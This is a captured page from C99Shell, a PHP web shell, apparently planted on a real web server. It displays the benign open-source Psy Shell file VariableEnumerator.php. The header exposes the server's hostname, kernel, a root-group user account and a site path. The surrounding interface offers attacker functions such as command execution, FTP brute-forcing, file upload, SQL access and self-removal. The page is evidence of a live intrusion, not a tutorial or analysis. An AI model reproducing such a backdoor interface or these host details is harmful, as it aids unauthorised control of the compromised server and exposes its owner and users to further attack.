!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/psy/psysh/src/Command/ListCommand/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VariableEnumerator.php (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2023 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\Command\ListCommand;

use 
Psy\Context;
use 
Psy\VarDumper\Presenter;
use 
Symfony\Component\Console\Input\InputInterface;

/**
 * Variable Enumerator class.
 */
class VariableEnumerator extends Enumerator
{
    
// n.b. this array is the order in which special variables will be listed
    
private static $specialNames = [
        
'_''_e''__out''__function''__method''__class''__namespace''__file''__line''__dir',
    ];

    private 
$context;

    
/**
     * Variable Enumerator constructor.
     *
     * Unlike most other enumerators, the Variable Enumerator needs access to
     * the current scope variables, so we need to pass it a Context instance.
     *
     * @param Presenter $presenter
     * @param Context   $context
     */
    
public function __construct(Presenter $presenterContext $context)
    {
        
$this->context $context;
        
parent::__construct($presenter);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function listItems(InputInterface $input\Reflector $reflector null$target null): array
    {
        
// only list variables when no Reflector is present.
        
if ($reflector !== null || $target !== null) {
            return [];
        }

        
// only list variables if we are specifically asked
        
if (!$input->getOption('vars')) {
            return [];
        }

        
$showAll $input->getOption('all');
        
$variables $this->prepareVariables($this->getVariables($showAll));

        if (empty(
$variables)) {
            return [];
        }

        return [
            
'Variables' => $variables,
        ];
    }

    
/**
     * Get scope variables.
     *
     * @param bool $showAll Include special variables (e.g. $_)
     *
     * @return array
     */
    
protected function getVariables(bool $showAll): array
    {
        
$scopeVars $this->context->getAll();
        
\uksort($scopeVars, function ($a$b) {
            
$aIndex \array_search($aself::$specialNames);
            
$bIndex \array_search($bself::$specialNames);

            if (
$aIndex !== false) {
                if (
$bIndex !== false) {
                    return 
$aIndex $bIndex;
                }

                return 
1;
            }

            if (
$bIndex !== false) {
                return -
1;
            }

            return 
\strnatcasecmp($a$b);
        });

        
$ret = [];
        foreach (
$scopeVars as $name => $val) {
            if (!
$showAll && \in_array($nameself::$specialNames)) {
                continue;
            }

            
$ret[$name] = $val;
        }

        return 
$ret;
    }

    
/**
     * Prepare formatted variable array.
     *
     * @param array $variables
     *
     * @return array
     */
    
protected function prepareVariables(array $variables): array
    {
        
// My kingdom for a generator.
        
$ret = [];
        foreach (
$variables as $name => $val) {
            if (
$this->showItem($name)) {
                
$fname '$'.$name;
                
$ret[$fname] = [
                    
'name'  => $fname,
                    
'style' => \in_array($nameself::$specialNames) ? self::IS_PRIVATE self::IS_PUBLIC,
                    
'value' => $this->presentRef($val),
                ];
            }
        }

        return 
$ret;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--